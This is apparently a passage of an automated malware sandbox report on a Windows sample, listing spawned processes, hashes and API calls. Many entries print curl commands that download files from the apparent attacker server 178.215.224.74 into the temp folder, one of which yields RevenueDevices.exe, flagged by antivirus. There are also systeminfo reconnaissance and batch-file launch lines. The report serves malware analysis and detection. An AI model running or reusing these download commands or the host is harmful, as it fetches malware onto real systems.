Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	06:05:14
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\systeminfo.exe
Wow64 process (32bit):	true
Commandline:	systeminfo
Imagebase:	0x9f0000
File size:	76'800 bytes
MD5 hash:	36CCB1FFAFD651F64A22B5DA0A1EA5C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	06:05:14
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /C:"OS Name"
Imagebase:	0xb80000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	06:05:14
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x820000
File size:	418'304 bytes
MD5 hash:	64ACA4F48771A5BA50CD50F2410632AD
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	06:05:17
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gfdap" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	06:05:17
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	06:05:17
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\gfdap" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	06:05:20
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gjmcf" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	06:05:20
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	06:05:21
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\gjmcf" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	06:05:23
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\lkufr" "178.215.224.74/v10/ukyh.php?jspo=7"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	06:05:23
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	06:05:23
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\lkufr" "178.215.224.74/v10/ukyh.php?jspo=7"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	06:05:24
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\slpug" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	06:05:24
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	06:05:24
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\slpug" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	06:05:26
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\ixhzf" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	06:05:26
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	06:05:26
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\ixhzf" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	06:05:27
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\qhiwq" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	06:05:27
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	06:05:28
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\qhiwq" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	06:05:29
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\ypalg" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	06:05:29
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	06:05:29
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\ypalg" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	06:05:31
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\cbmaa" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	06:05:31
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	06:05:31
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\cbmaa" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	06:05:38
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\temp\RevenueDevices.exe"
Imagebase:	0x400000
File size:	1'151'988 bytes
MD5 hash:	B487B5B51436B42576D60A1FE58F8399
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 62%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	06:05:38
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\hzpaz" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	06:05:38
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	06:05:39
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\hzpaz" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	06:05:40
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Seek Seek.cmd & Seek.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	06:05:40
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	06:05:40
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fxhyo" "178.215.224.74/v10/ukyh.php?gi"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	06:05:40
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	06:05:41
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\fxhyo" "178.215.224.74/v10/ukyh.php?gi"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	06:05:43
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jocox" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	06:05:43
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	06:05:43
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\jocox" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	191
Start time:	06:06:16
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	215
Start time:	06:06:22
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	227
Start time:	06:06:24
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	281
Start time:	06:06:37
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	302
Start time:	06:06:41
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	317
Start time:	06:06:45
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	332
Start time:	06:06:48
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ae440000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	359
Start time:	06:06:53
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	371
Start time:	06:06:55
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	392
Start time:	06:06:59
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	395
Start time:	06:07:00
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	422
Start time:	06:07:05
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	428
Start time:	06:07:06
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	445
Start time:	06:07:10
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	452
Start time:	06:07:10
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	461
Start time:	06:07:12
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	464
Start time:	06:07:12
Start date:	24/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21%
Total number of Nodes:	1482
Total number of Limit Nodes:	25

Executed Functions

Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040515B
GetDlgItem.USER32(?,000003EE), ref: 0040516A
GetClientRect.USER32(?,?), ref: 004051C2
GetSystemMetrics.USER32(00000015), ref: 004051CA
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
ShowWindow.USER32(?,00000008), ref: 00405266
GetDlgItem.USER32(?,000003EC), ref: 00405287
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
GetDlgItem.USER32(?,000003F8), ref: 00405179

Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426979,759223A0,00000000), ref: 00406902

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

GetDlgItem.USER32(?,000003EC), ref: 004052D7
CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
CloseHandle.KERNELBASE(00000000), ref: 004052EC
ShowWindow.USER32(00000000), ref: 00405313
ShowWindow.USER32(?,00000008), ref: 00405318
ShowWindow.USER32(00000008), ref: 0040535F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
CreatePopupMenu.USER32 ref: 004053A2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
GetWindowRect.USER32(?,?), ref: 004053CA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
OpenClipboard.USER32(00000000), ref: 00405437
EmptyClipboard.USER32 ref: 0040543D
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
GlobalLock.KERNEL32(00000000), ref: 00405453
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
GlobalUnlock.KERNEL32(00000000), ref: 00405489
SetClipboardData.USER32(0000000D,00000000), ref: 00405494
CloseClipboard.USER32 ref: 0040549A

Strings

{, xrefs: 0040537E
New install of "%s" to "%s", xrefs: 004051AE

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
